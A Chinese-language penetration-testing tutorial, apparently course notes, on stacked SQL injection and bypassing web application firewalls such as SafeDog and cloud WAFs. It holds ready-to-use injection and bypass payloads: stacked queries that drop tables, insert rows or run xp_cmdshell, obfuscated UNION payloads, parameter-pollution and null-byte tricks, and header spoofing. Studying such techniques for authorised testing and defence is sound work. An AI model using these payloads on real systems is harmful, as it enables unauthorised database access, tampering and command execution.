前言

在实际的渗透测试过程中,经常会碰到网站存在WAF的情况。网站存在WAF,意味着我们不能使用安全工具对网站进行测试,因为一旦触碰了WAF的规则,轻则丢弃报文,重则拉黑IP。所以,我们需要手动进行WAF的绕过,而绕过WAF前肯定需要对WAF的工作原理有一定的理解。

所需知识

1. 堆叠查询注入

定义

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实

的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stackedinjection。

原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

局限性

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

各个数据库实例介绍(摘自文章链接)

本节我们从常用数据库角度出发,介绍几个类型的数据库的相关用法。数据库的基本操作,增删查改。以下列出数据库相关堆叠注入的基本操作。

1. Mysql

(1)新建一表

select * from users where id=1;create table test like users;

执行成功,我们再去看一下是否新建成功表。

(2)删除上面新建的test表

select * from users where id=1;drop table test;

(3)查询数据

select * from users where id=1;select 1,2,3;

(4)加载文件

select * from users where id=1;select load_file('c:/tmpupbbn.php');

(4) 修改数据

select * from users where id=1;insert into users(id,username,password) values ('100','new','new');

2. Sql server

(1)增加数据表

select * from test;create table sc3(ss CHAR(8));

(2) 删除数据表

select * from test;drop table sc3;

(4)查询数据

select 1,2,3;select * from test;

(5)修改数据

select * from test;update test set name='test' where id=3;

(5)sqlserver中最为重要的存储过程的执行

select * from test where id=1;exec master..xp_cmdshell 'ipconfig'

3. Oracle

上面的介绍中我们已经提及,oracle不能使用堆叠注入,可以从图中看到,当有两条语句在同一行时,直接报错。无效字符。后面的就不往下继续尝试了。

4. Postgresql

(1)新建一个表

select * from user_test;create table user_data(id DATE);

可以看到user_data表已经建好。

(2)删除上面新建的user_data表

select * from user_test;delete from user_data;

(3)查询数据

select * from user_test;select 1,2,3;

(4) 修改数据

select * from user_test;update user_test set name='modify' where name='张三';

2. phpstudy+safedog安装找不到服务解决

参考链接:windows使用phpstudy环境安装Apache版安全狗找不到服务名 - 灰信网(软件开发博客聚合)

3. 市面上常见的waf产品列表分析 wafw00f

工具简介

现在网站为了加强自身安全,通常都会安装各类防火墙。这些防火墙往往会拦截各种扫描 请求,使得测试人员无法正确判断网站相关信息。Kali Linux 提供了一款网站防火墙探测工具 Wafw00f。它可以通过发送正常和带恶意代码的 HTTP 请求,以探测网站是否存在防火墙,并识别防火墙的类型。

WAFW00F 怎么工作

  1. 发送正常的 HTTP 请求,然后分析响应,这可以识别出很多 WAF。
  2. 如果不成功,它会发送一些(可能是恶意的)HTTP 请求,使用简单的逻辑推断是哪一 个 WAF。
  3. 如果这也不成功,它会分析之前返回的响应,使用其它简单的算法猜测是否有某个 WAF 或者安全解决方案响应了我们的攻击

参数

它可以检测很多 WAF。想要查看它能检测哪些 WAF,以-l 参数执行 WAFW00F

ACE XML Gateway                  Cisco

aeSecure                         aeSecure

AireeCDN                         Airee

Airlock                          Phion/Ergon

Alert Logic                      Alert Logic

AliYunDun                        Alibaba Cloud Computing

Anquanbao                        Anquanbao

AnYu                             AnYu Technologies

Approach                         Approach

AppWall                          Radware

Armor Defense                    Armor

ArvanCloud                       ArvanCloud

ASP.NET Generic                  Microsoft

ASPA Firewall                    ASPA Engineering Co.

Astra                            Czar Securities

AWS Elastic Load Balancer        Amazon

AzionCDN                         AzionCDN

Azure Front Door                 Microsoft

Barikode                         Ethic Ninja

Barracuda                        Barracuda Networks

Bekchy                           Faydata Technologies Inc.

Beluga CDN                       Beluga

BIG-IP Local Traffic Manager     F5 Networks

BinarySec                        BinarySec

BitNinja                         BitNinja

BlockDoS                         BlockDoS

Bluedon                          Bluedon IST

BulletProof Security Pro         AITpro Security

CacheWall                        Varnish

CacheFly CDN                     CacheFly

Comodo cWatch                    Comodo CyberSecurity

CdnNS Application Gateway        CdnNs/WdidcNet

ChinaCache Load Balancer         ChinaCache

Chuang Yu Shield                 Yunaq

Cloudbric                        Penta Security

Cloudflare                       Cloudflare Inc.

Cloudfloor                       Cloudfloor DNS

Cloudfront                       Amazon

CrawlProtect                     Jean-Denis Brun

DataPower                        IBM

DenyALL                          Rohde & Schwarz CyberSecurity

Distil                           Distil Networks

DOSarrest                        DOSarrest Internet Security

DotDefender                      Applicure Technologies

DynamicWeb Injection Check       DynamicWeb

Edgecast                         Verizon Digital Media

Eisoo Cloud Firewall             Eisoo

Expression Engine                EllisLab

BIG-IP AppSec Manager            F5 Networks

BIG-IP AP Manager                F5 Networks

Fastly                           Fastly CDN

FirePass                         F5 Networks

FortiWeb                         Fortinet

GoDaddy Website Protection       GoDaddy

Greywizard                       Grey Wizard

Huawei Cloud Firewall            Huawei

HyperGuard                       Art of Defense

Imunify360                       CloudLinux

Incapsula                        Imperva Inc.

IndusGuard                       Indusface

Instart DX                       Instart Logic

ISA Server                       Microsoft

Janusec Application Gateway      Janusec

Jiasule                          Jiasule

Kona SiteDefender                Akamai

KS-WAF                           KnownSec

KeyCDN                           KeyCDN

LimeLight CDN                    LimeLight

LiteSpeed                        LiteSpeed Technologies

Open-Resty Lua Nginx             FLOSS

Oracle Cloud                     Oracle

Malcare                          Inactiv

MaxCDN                           MaxCDN

Mission Control Shield           Mission Control

ModSecurity                      SpiderLabs

NAXSI                            NBS Systems

Nemesida                         PentestIt

NevisProxy                       AdNovum

NetContinuum                     Barracuda Networks

NetScaler AppFirewall            Citrix Systems

Newdefend                        NewDefend

NexusGuard Firewall              NexusGuard

NinjaFirewall                    NinTechNet

NullDDoS Protection              NullDDoS

NSFocus                          NSFocus Global Inc.

OnMessage Shield                 BlackBaud

Palo Alto Next Gen Firewall      Palo Alto Networks

PerimeterX                       PerimeterX

PentaWAF                         Global Network Services

pkSecurity IDS                   pkSec

PT Application Firewall          Positive Technologies

PowerCDN                         PowerCDN

Profense                         ArmorLogic

Puhui                            Puhui

Qcloud                           Tencent Cloud

Qiniu                            Qiniu CDN

Reblaze                          Reblaze

RSFirewall                       RSJoomla!

RequestValidationMode            Microsoft

Sabre Firewall                   Sabre

Safe3 Web Firewall               Safe3

Safedog                          SafeDog

Safeline                         Chaitin Tech.

SecKing                          SecKing

eEye SecureIIS                   BeyondTrust

SecuPress WP Security            SecuPress

SecureSphere                     Imperva Inc.

Secure Entry                     United Security Providers

SEnginx                          Neusoft

ServerDefender VP                Port80 Software

Shield Security                  One Dollar Plugin

Shadow Daemon                    Zecure

SiteGround                       SiteGround

SiteGuard                        Sakura Inc.

Sitelock                         TrueShield

SonicWall                        Dell

UTM Web Protection               Sophos

Squarespace                      Squarespace

SquidProxy IDS                   SquidProxy

StackPath                        StackPath

Sucuri CloudProxy                Sucuri Inc.

Tencent Cloud Firewall           Tencent Technologies

Teros                            Citrix Systems

Trafficshield                    F5 Networks

TransIP Web Firewall             TransIP

URLMaster SecurityCheck          iFinity/DotNetNuke

URLScan                          Microsoft

UEWaf                            UCloud

Varnish                          OWASP

Viettel                          Cloudrity

VirusDie                         VirusDie LLC

Wallarm                          Wallarm Inc.

WatchGuard                       WatchGuard Technologies

WebARX                           WebARX Security Solutions

WebKnight                        AQTRONIX

WebLand                          WebLand

wpmudev WAF                      Incsub

RayWAF                           WebRay Solutions

WebSEAL                          IBM

WebTotem                         WebTotem

West263 CDN                      West263CDN

Wordfence                        Defiant

WP Cerber Security               Cerber Tech

WTS-WAF                          WTS

360WangZhanBao                   360 Technologies

XLabs Security WAF               XLabs

Xuanwudun                        Xuanwudun

Yundun                           Yundun

Yunsuo                           Yunsuo

Yunjiasu                         Baidu Cloud Computing

YXLink                           YxLink Technologies

Zenedge                          Zenedge

ZScaler                          Accenture

命令:

wafw00f 域名/IP

4. 部分 bypass sqlinject payload

id=1union/*%00*/%23a%0A/*!/*!select1,2,3*/;%23

id=-1union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23

id=-1%20union%20/*!44509select*/%201,2,3%23

id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23

id=1/**&id=-1%20union%20select%201,2,3%23*/

id=-1%20union%20all%23%0a%20select%201,2,3%23

id=-1%20union%20all%23%0a%20select%201,%230%0Adatabase/**/(),3%23

WAF及绕过思路

1. WAF

Web应用防护系统(Web Application Firewall, 简称:WAF)代表了一类新兴的信息安全技术,用以解决诸如防火墙一类传统设备束手无策的Web应用安全问题。

首先,WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型WAF指的是硬件型WAF、云WAF、软件型WAF之类的;而嵌入型WAF指的是网站内置的WAF。非嵌入型WAF对Web流量的解析完全是靠自身的,而嵌入型WAF拿到的Web数据是已经被解析加工好的。所以非嵌入型的受攻击机面还涉及到其他层面,而嵌入型WAF从Web容器模块型WAF、代码层WAF往下走,其对抗畸形报文、扫操作绕过的能力越来越强。当然,在部署维护成本方面,也是越高的。

如图,就是自带的阿里云盾

宝塔一键化搭建(大部分非法网站都是使用的宝塔)

安全狗(用的比较多,是因为是免费的)

不开启全部是因为有些页面会出现误报

资源防护

流量防护

网站防护

漏洞防护

2. WAF绕过-应用层

大小写/关键字替换

id=1UnIoN/**/SeLeCT1,user()

Hex() bin() 等价于 ascii()

Sleep() 等价于 benchmark()

Mid() substring() 等价于substr()

@@user 等价于 User()

@@Version 等价于 version()

各种编码

大小写,URL,hex,%0A等

注释使用

//----+#//+:%00/!/等

再次循环

union==uunionnion

等价替换

user()=@@user()and=&or=|ascii=hex等

参数污染

?id=1&id=2&id=3

编码解码及加密解密

s->%73->%25%37%33

hex,unlcode,base64等

更改请求提交方式

GET POST COOKIE等

POST->multipart/form-data

中间件HPP(HTTP参数污染)

HPP是HTTP Parameter Pollution的缩写,意为HTTP参数污染。

原理:浏览器在跟服务器进行交互的过程中,浏览器往往会在GET/POST请求里面带上参数,这些参数会以 名称-值 对的形势出现,通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的。比如下面这个链接:百度一下,你就知道 ,针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样。有的服务器是取第一个参数,也就是name=aa。有的服务器是取第二个参数,也就是name=bb。有的服务器两个参数都取,也就是name=aa,bb 。这种特性在绕过一些服务器端的逻辑判断时,非常有用。

HPP漏洞,与Web服务器环境、服务端使用的脚本有关。如下是不同Web服务器对于出现多个参数时的选择:

通过HPP接管账户

当网站开发者不熟悉Web服务器对于多参数时如何选择,将给攻击者可乘之机。HPP能针对客户端和服务端进行攻击。

HPP参数污染还可以用于绕过某些防火墙对于 SQL注入的检测,例如当Web服务器对多参数都同时选择时,我们可以用以下这种方式绕过某些防火墙:

http://www.baidu.com/index.asp?page=select 1,2,3 from table where id=1
http://www.baidu.com/index.asp?page=select 1&page=2,3 from table where id=1

HTTP参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果

以参数color=red&color=blue为例

3. WAF绕过-数据库特性

1、Mysql技巧

(1)mysql注释符有三种:#、/.../、--...(注意--后面有一个空格,或者为--+)

(2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]

(3)特殊符号:%a换行符

可结合注释符使用%23%0a,%2d%2d%0a。

(3)内联注释:

/!UnIon12345SelEcT/1,user()//数字范围1000-50540

(4)mysql黑魔法

select{xusername}from{x11test.admin};

2、SQLServer技巧

(1)用来注释掉注射后查询的其余部分:

/*C语言风格注释

SQL注释

;00%空字节

(2)空白符:[0x01-0x20]

(3)特殊符号:%3a冒号

id=1union:select1,2from:admin

(4)函数变形:如db_name 空白字符

3、Oracle技巧

(1)注释符:--、/**/

(2)空白字符:[0x00,0x09,0x0a-0x0d,0x20]

4.配合FUZZ(SQLI FUZZ字典,SQL注入过滤关键字的Fuzz字典)

就是模糊测试,批量测试

select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin

3. WAF绕过-逻辑层

1、逻辑问题

(1)云waf防护,一般我们会尝试通过查找站点的真实IP,从而绕过CDN防护。

(2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。

(3)HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有WAF防护,HTTP

没有防护,直接访问HTTP站点绕过防护。

(4)特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害参数

输入,从而导致Bypass。比如:id=1 %00 and 1=2 union select 1,2,column_name from information_schema.columns

2、性能问题

猜想1:在设计WAF系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只

要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。

猜想2:不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向

量时超出了其缓冲区长度就会引发bug,从而实现绕过。

例子1:

?id=1and(select1)=(Select0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9

PS:0xA*1000指0xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考也许在有些情况下可能不需要这么长也能溢出。

例子2:

?a0=0&a1=1&.....&a100=100&id=1

union

select

1,schema_name,3

from

INFORMATION_SCHEMA.schemata

备注:获取请求参数,只获取前100个参数,第101个参数并没有获取到,导致SQL注入绕过。

3、白名单

方式一:IP白名单

从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情

况。

测试方法:修改http的header来bypasswaf

X-forwarded-for

X-remote-IP

X-originating-IP

x-remote-addr

X-Real-ip

方式二:静态资源

特定的静态资源后缀请求,常见的静态文件(.js.jpg.swf.css等等),类似白名单机制,waf为了检测

效率,不去检测这样一些静态文件名后缀的请求。

http://10.9.9.201/sql.php?id=1

http://10.9.9.201/sql.php/1.js?id=1

备注:Aspx/php只识别到前面的.aspx/.php后面基本不识别

方式三:url白名单

为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url

中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势

涉及资源:

堆叠注入详解 - 渗透测试中心 - 博客园

关于【安全狗】在【phpstudy】中【无法找到apache服务名】的问题_大方子的博客-CSDN博客_安全狗服务名

演示案例:

1. Sqlilabs-Less38-堆叠注入(多语句)

在执行select时的sql语句为:SELECT * FROM users WHERE id='$id' LIMIT 0,1

可以直接构造如下的payload:

http://127.0.0.1/sql/Less-38/index.php?id=1';insert into users(id,username,password) values ('38','less38','hello')--+

再看数据表中的内容:可以看到less38已经添加。

2. WAF部署-安全狗,宝塔等waf搭建部署

安全狗:

SQL注入之堆叠及WAF绕过注入相关推荐

  1. B站小迪安全笔记第十八天-SQL注入堆叠及waf绕过注入

    堆叠查询注入 Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行.而在真实 的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行 ...

  2. 渗透测试之waf绕过基础

    思维导图: 一.信息收集 此处只针对对于目标网站直接扫描的信息收集讲解,其他辅助信息收集手段如:查旁站/识别cms等手段也不会遇到waf拦截. 1.安全狗-防ddos cenos目前用的不熟练,于是我 ...

  3. SQL注入-SQL注入的WAF绕过(十六)

    实验目的 普及熟悉利用重写等方式绕过WAF关键字过滤.以实现SQL注入的方法.PS:面试时不要说打WAF靶场什么东西,就说重复大小写编码什么之类的 基本概念 WAF(WebApplicationFir ...

  4. sql注入空格被过滤_网站渗透:SQL注入与WAF绕过思路分享

    一.前言 这个注入是之前做测试时发现的,但是测试的时候发现有防护,但是想想这么个小网站都绕不过,实在不应该啊.开始补充学习各种场景.各种waf绕过姿势,勉勉强强的成功执行我构造的SQL的语句.趁着还有 ...

  5. WAF绕过神器 (过安全狗、智创SQL注入)

    WAF绕过神器 (过安全狗.智创SQL注入) 发布时间:2013-05-12 23:10文章来源:网络文章作者:panni007 点击次数: 次 分享到: QQ空间 QQ微博 新浪微博 开心网 人人网 ...

  6. SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

    Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...

  7. 7-Web安全——SQL注入WAF绕过之注释符号

    SQL注入过程中注释符号有以下几种表达方式: -- # %23 SQL注入过程中注释符号的作用是把后面不需要的语句注释掉,以保证SQL命令的完整性. 以Less-1为例,分析源代码: $sql=&qu ...

  8. 07_SQL注入_堆叠注入绕过注入

    07_SQL注入_堆叠注入&绕过注入 1.堆叠注入 1.1 注入理论 谈及堆叠,顾名思义:就是多条语句一同执行.实际开发中,部分数据库支持多条SQL语句同时执行,在这样的场景下进行SQL注入, ...

  9. (18)【WAF绕过】WAF部署、绕过分析和原理、注入绕过WAF方法

    目录 一.WAF部署: 1.1.阿里云盾 1.2.安全狗: 1.3.宝塔面板: 下载地址: 桌面应用端 web网页端 二.WAF绕过 2.1.原理: 2.2.介绍: 2.3.WAF分为非嵌入型WAF和 ...

  10. SQL注入之堆叠注入(sql-lab第38关)

    什么是堆叠注入 在SQL中,分号(;)是用来表示一条SQL语句结束的.试想一下我们在分号结束一个SQL语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入.而堆叠注入可以执行的是任 ...

最新文章

  1. (Java)常用排序
  2. 按钮点击WIN8 磁贴效果
  3. BFS最短路打印路径
  4. 2020-11-11(C语言下JNI开发hello过程)
  5. 《网络安全原理与实践》一2.1 安全区介绍
  6. vuex的计算属性_Vuex详细介绍
  7. Multi-tenant or multi-instance?
  8. .net前台ajax,asp.net利用Ajax和Jquery在前台向后台传参数并返回值
  9. Mysql 时间类型整理
  10. 【读书笔记】 —— 公平与正义
  11. BuzzFeed如何从Perl单体应用迁移到Go和Python微服务
  12. 实用的论文工具大盘点【建议收藏】
  13. 腾讯WiFi管家 v3.7.3
  14. VC、VS、QT界面预览快捷键小记
  15. excel批量删除单元格中的部分内容
  16. 设计模式——原形模式
  17. 游戏后台杂谈:后台的语言、系统与构架
  18. 【我们就爱穿上古着晒幸福】
  19. C语言排序之冒泡法(起泡法)
  20. 《30天自制操作系统》-day0(MAC)

热门文章

  1. SAP 采购订单入库——收货业务分析
  2. matlab badsubscript,matlab错误:Subscript indices must either be real positive integers or logicals....
  3. All-one Matrices
  4. Python爬虫之爬取实习僧并导入Mysql
  5. android如何增加北斗定位,安卓手机怎么设置北斗导航图文教程
  6. ddd软件设计两个人的工作
  7. html中if函数的使用方法,if函数的使用方法 if函数怎么使用
  8. 新手传奇gm架设要学会的几个修改技巧
  9. 大数据-HDFS 文件副本和 Block 块存储
  10. swing的maven项目打成jar包